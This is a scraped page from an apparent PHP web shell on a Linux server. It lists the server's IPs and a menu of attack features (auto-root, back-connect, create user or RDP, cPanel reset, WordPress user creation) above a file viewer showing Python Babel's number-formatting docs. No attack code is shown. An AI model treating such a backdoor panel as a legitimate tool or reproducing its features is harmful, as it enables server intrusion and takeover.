Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.227.140.251
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-babel-0.9.6 /
doc /
[ HOME SHELL ]
Name
Size
Permission
Action
api
[ DIR ]
drwxr-xr-x
common
[ DIR ]
drwxr-xr-x
cmdline.html
8.19
KB
-rw-r--r--
cmdline.txt
6.57
KB
-rw-r--r--
dates.html
16.4
KB
-rw-r--r--
dates.txt
13.66
KB
-rw-r--r--
display.html
4.33
KB
-rw-r--r--
display.txt
2.36
KB
-rw-r--r--
index.html
1.88
KB
-rw-r--r--
index.txt
882
B
-rw-r--r--
intro.html
3.81
KB
-rw-r--r--
intro.txt
2.44
KB
-rw-r--r--
logo.pdf
43.93
KB
-rw-r--r--
logo.png
15.12
KB
-rw-r--r--
logo_small.png
5.97
KB
-rw-r--r--
messages.html
17.44
KB
-rw-r--r--
messages.txt
11.7
KB
-rw-r--r--
numbers.html
6.05
KB
-rw-r--r--
numbers.txt
4.66
KB
-rw-r--r--
setup.html
18.86
KB
-rw-r--r--
setup.txt
14.84
KB
-rw-r--r--
support.html
3.17
KB
-rw-r--r--
support.txt
1.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : numbers.txt
.. -*- mode: rst; encoding: utf-8 -*- ========================== Number Formatting ========================== .. contents:: Contents :depth: 2 .. sectnum:: Support for locale-specific formatting and parsing of numbers is provided by the ``babel.numbers`` module: .. code-block:: pycon >>> from babel.numbers import format_number, format_decimal, format_percent Examples: .. code-block:: pycon >>> format_decimal(1.2345, locale='en_US') u'1.234' >>> format_decimal(1.2345, locale='sv_SE') u'1,234' >>> format_decimal(12345, locale='de_DE') u'12.345' Pattern Syntax ============== While Babel makes it simple to use the appropriate number format for a given locale, you can also force it to use custom patterns. As with date/time formatting patterns, the patterns Babel supports for number formatting are based on the `Locale Data Markup Language specification`_ (LDML). Examples: .. code-block:: pycon >>> format_decimal(-1.2345, format='#,##0.##;-#', locale='en') u'-1.23' >>> format_decimal(-1.2345, format='#,##0.##;(#)', locale='en') u'(1.23)' The syntax for custom number format patterns is described in detail in the the specification. The following table is just a relatively brief overview. .. _`Locale Data Markup Language specification`: http://unicode.org/reports/tr35/#Number_Format_Patterns +----------+-----------------------------------------------------------------+ | Symbol | Description | +==========+=================================================================+ | ``0`` | Digit | +----------+-----------------------------------------------------------------+ | ``1-9`` | '1' through '9' indicate rounding. | +----------+-----------------------------------------------------------------+ | ``@`` | Significant digit | +----------+-----------------------------------------------------------------+ | ``#`` | Digit, zero shows as absent | +----------+-----------------------------------------------------------------+ | ``.`` | Decimal separator or monetary decimal separator | +----------+-----------------------------------------------------------------+ | ``-`` | Minus sign | +----------+-----------------------------------------------------------------+ | ``,`` | Grouping separator | +----------+-----------------------------------------------------------------+ | ``E`` | Separates mantissa and exponent in scientific notation | +----------+-----------------------------------------------------------------+ | ``+`` | Prefix positive exponents with localized plus sign | +----------+-----------------------------------------------------------------+ | ``;`` | Separates positive and negative subpatterns | +----------+-----------------------------------------------------------------+ | ``%`` | Multiply by 100 and show as percentage | +----------+-----------------------------------------------------------------+ | ``‰`` | Multiply by 1000 and show as per mille | +----------+-----------------------------------------------------------------+ | ``¤`` | Currency sign, replaced by currency symbol. If doubled, | | | replaced by international currency symbol. If tripled, uses the | | | long form of the decimal symbol. | +----------+-----------------------------------------------------------------+ | ``'`` | Used to quote special characters in a prefix or suffix | +----------+-----------------------------------------------------------------+ | ``*`` | Pad escape, precedes pad character | +----------+-----------------------------------------------------------------+ Parsing Numbers =============== Babel can also parse numeric data in a locale-sensitive manner: .. code-block:: pycon >>> from babel.numbers import parse_decimal, parse_number Examples: .. code-block:: pycon >>> parse_decimal('1,099.98', locale='en_US') 1099.98 >>> parse_decimal('1.099,98', locale='de') 1099.98 >>> parse_decimal('2,109,998', locale='de') Traceback (most recent call last): ... NumberFormatError: '2,109,998' is not a valid decimal number .. note:: Number parsing is not properly implemented yet
Close